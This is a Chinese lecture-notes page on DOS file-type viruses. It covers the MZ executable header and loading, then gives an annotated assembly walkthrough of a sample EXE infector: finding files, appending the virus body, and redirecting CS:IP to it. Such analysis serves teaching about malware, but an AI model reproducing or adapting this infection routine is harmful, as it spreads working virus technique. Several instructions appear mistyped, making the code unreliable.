【计算机网络病毒六】DOS病毒之文件型病毒

【计算机网络病毒六】DOS病毒之文件型病毒

四、DOS病毒之文件型病毒

4.4 文件型病毒

基本原理

感染MZ文件

MZ文件结构及其加载

文件结构

00-01 e_magic; // 文件类型标记:0x4D5A魔术数字

02-03 e_cblp; // 文件最后页的字节数

04-05 e_cp; // 文件页数

06-07 e_crlc; // 重定义项个数

08-09 e_cparhdr; // 头部尺寸,以16B的段落为单位

0a-0b e_minalloc; // 所需的最小内存段

0c-0d e_maxalloc; // 所需的最大内存段

0e-0f e_ss; // 初始的SS值(相对偏移量)

10-11 e_sp; // 初始的SP值

12-13 e_csum; // 校验和

14-15 e_ip; // 初始的IP值

16-17 e_cs; // 初始的CS值(相对偏移量)

18-19 e_lfarlc; // 重定位表偏移地址

1a-1b e_ovno; // 覆盖号

重定位表

载入模块....

加载

申请内存后,把载入模块读入内存指定区域

DS、ES指向程度段前缀PSP

CS、IP、SS、SP由文件头的格式化区域确定并通过重定位进行调整

EXE文件加载之后,从CS:IP开始执行。

病毒一般将自己加在文件的末端,并修改CS、IP的值指向病毒起始地址,修改文件长度和SS、SP

MZ文件病毒样例分析

设置DTA

mov ah, 1ah

mov dx, offset own_dta-Virus_Start

add dx, si

int 21

查找EXE文件

mov ah, 4eh

mov dx, offset file_match-Virus_Start

add dx, si

int 21

jnc count2

打开感染文件

mov ah, 3d02h

mov dx, Own_dta-Virus_Start+1eh//文件名

add dx, si

int 21

jnc count1

读感染文件头

mov ah, 3fh

mov cx, 1ch

mov dx, offset Exe_Header-Virus_Start

add dx, si

int 21

jnc count1

判读是否感染

cmp byte ptr ds:[si+Exe_Header-Virus_Start], ‘M’

jnz no_exe

cmp word ptr ds:[si+Exe_Header-Virus_Start+12], ‘FB’

jz infected

移动文件指针至文件尾

mov ax, 4202h

xor cx, cx

xor dx, dx

int 21

push dx //宿主程序尾,也是病毒体的开始

push ax //将以此为感染后EXE文件的入口

写病毒体至文件尾

mov ax, 40h

mov cx, Virus_Length //病毒体长度

mov dx, si //病毒开始位置

int 21

获取感染后新文件的长度

mov ax, 4202h

xor cx, cx

xor dx, dx

int 21

mov cx, 200//512 一页

div cx

inc ax

改写感染后文件头中文件长度信息

mov word ptr ds:[si+Exe_Header-Virus_Start+2], dx

//文件最后一页的字节数

mov word ptr ds:[si+Exe_Header-Virus_Start+4], ax

//文件总页数

修改感染文件入口至病毒代码处

pop ax

pop dx

mov cx, 10

div cx

sub ax, word ptr ds:[si+Exe_Header-Virus_Start+8]

//文件头大小

mov word ptr ds:[si+Exe_Header-Virus_Start+16], ax

//CS

mov word ptr ds:[si+Exe_Header-Virus_Start+14], dx

//IP

写修改后的文件头至感染文件

mov ax, 4200h

xor cx, cx

xor dx, dx

int 21

mov ah, 40

mov cx, 1ch

mov dx, offset Exe_header-Virus_Start

add dx, si

int 21

病毒发作

pop dx //指向PSP的DS

add dx, offset sz_message-Virus_Start

mov ah, 09h

int 21

返回宿主程序入口

mov ax, es

add ax, 10

add ax, cs:[si+Exe_header-Virus_Start+16]

push ax //宿主CS

push cs:[si+Exe_header-Virus_Start+14]//宿主IP

push ds

....

pop ds

retf

4.5 混合型病毒的基本原理

概念

混合型病毒也称多型病毒,是结合了引导型和文件型两种病毒而互为感染的病毒,有感染文件和引导扇区两种目标

混合型病毒既能感染引导区,又能感染文件,但并非将文件型病毒和引导型病毒简单地加在一起。

基本原理

文件中的病毒执行时将病毒写入引导区

染毒盘启动系统时,用引导型病毒的方法驻留内存,但此时DOS未加载,无法修改INT 21H,无法感染文件。

通常的做法是修改INT 8H,用INT 8H服务程序监测INT 21H的地址是否修改,如果修改,说明DOS已加载,则可修改INT 21H指向病毒传染段。

相关推荐

魔域手游被关了怎么办啊

魔域手游被关了怎么办啊

365bet官网体育投注 09-27
阅读更多
Mac下常用按键符号⌘(command)、⌥(option)、⇧(shift)、⇪(caps lock)、⌃(control)、↩(return)、⌅(enter)

Mac下常用按键符号⌘(command)、⌥(option)、⇧(shift)、⇪(caps lock)、⌃(control)、↩(return)、⌅(enter)

365日博体育备用 09-13
阅读更多
灵狐浏览器为什么不能用了?

灵狐浏览器为什么不能用了?

365日博体育备用 07-08
阅读更多